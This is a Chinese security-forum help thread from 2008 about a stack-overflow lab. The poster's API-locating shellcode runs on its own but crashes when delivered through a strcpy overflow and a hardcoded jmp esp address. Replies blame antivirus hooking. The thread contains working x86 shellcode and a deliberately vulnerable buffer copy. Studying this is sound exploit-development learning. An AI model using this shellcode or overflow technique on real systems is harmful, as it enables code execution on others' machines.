首页
社区
课程
招聘
[求助]动态定位windows api的问题
发表于: 2008-10-8 15:52 4945

[求助]动态定位windows api的问题

2008-10-8 15:52
4945
unsigned char shellcode[] =
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x69\x6E\x20\x20\x68\x64\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
int main()
{
      ( (void(*)(void)) &shellcode )();
      return 0;
}

以上是failwest大利用TEB动态定位api的shellcode,直接运行可以,同样的代码我放在下面
那个溢出实验中却一直没法成功,我的确成功执行了jmp esp跳转到我的代码里面但是最后会弹出内存不能read问题,有哪位大大帮我解惑一下。。。。。。
#include <stdio.h>
#include <string.h>
char shellcode[] =
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"/*ebp*/
"\xED\x1E\x96\x7C"/*jmp esp*/

"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x69\x6E\x20\x20\x68\x64\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";

void vul()
{
    char name[4]={'a','a','a','a'};
    strcpy(name, shellcode);
}

void foobar()
{
        char        buf[65536];
        vul();
}
int main()
{
         foobar();
         return 0;
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 331
活跃值: (57)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
2
好办,OD跟一下不就得了
2008-10-8 17:00
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
跟过了,就是在loadlibrary(user32.dll)的时候报错,报内存不能为read。。。但是不明白为什么错。。。因为直接运行那个shellcode都很正常,我在溢出里面也正常跳转到了shellcode,两个的执行都一模一样,实在不明白为什么错了
2008-10-8 17:10
0
雪    币: 0
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
刚才看了vxasm 的那篇“ 0day一书的学习心得 ”启发了我,把代码拿到虚拟机里面一试就过了。。。。难道真的是卡巴的问题???
2008-10-8 17:44
0
雪    币: 2056
活跃值: (13)
能力值: ( LV13,RANK:250 )
在线值:
发帖
回帖
粉丝
5
的确是卡巴的问题。
如果没有装卡巴的话,LoadLibrary函数的地址在内存中是不一样的。
2008-10-11 10:36
0
游客
登录 | 注册 方可回帖
返回
//